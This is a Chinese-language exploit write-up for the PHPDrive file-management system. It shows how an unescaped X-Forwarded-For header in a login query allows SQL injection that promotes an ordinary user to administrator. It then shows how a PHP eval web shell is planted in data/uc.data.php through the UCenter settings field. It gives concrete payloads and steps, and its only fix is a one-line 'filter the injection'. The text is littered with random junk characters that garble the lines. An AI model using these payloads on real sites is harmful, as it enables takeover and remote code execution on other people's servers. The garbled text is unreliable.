PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等4 w/ w8 L& ~# s7 Q/ O- Z
' O. G7 {% ~; O+ J- R- S3 q9 c
includes/user.lib.php
# m( R/ B) C4 s3 Z1 m# ]行876 {( ^$ G9 \# h9 c2 g" B/ D+ ?
function get_ip() {5 w+ p- I6 I* I5 u3 S
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.$ u' I" `4 |5 m; t# S
在用户注册与登录 处module/disk/account.lead.php/ j2 w5 d3 E+ J- b# k: i
198行
. m" m" y2 N- h5 \1 I1 z9 {, Y3 N //更新本次登录IP和时间( w# [" w/ x" ^* `6 U: f: J& n. j
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生; c/ Z0 F2 ]' @! |+ B+ j4 _
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限7 |& M; S: t8 v0 u
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.
) l" x! ~0 k% { p. Q- g& K N' R% j5 K后台getshell:9 [+ s: P! F0 d2 t# Q
在UCenter设置处,将UC数据库登录名填写为9 Y; {1 K4 @( C3 J5 A3 t. t) k
: ~5 ]3 m1 Q$ R# [. b: P6 K
root’);eval($_POST[DisKill]);?>/*! _# U- y5 M; \* o1 K3 V8 ]
可以得到一个shell,位置在 data/uc.data.php
: d7 K- G Z0 A, Y
% ^( z& v K K% I7 |修复:过滤注入
$ }( [) ~' @( g4 \' C5 ^
3 N$ }- g/ m: z J* U( p& D. { |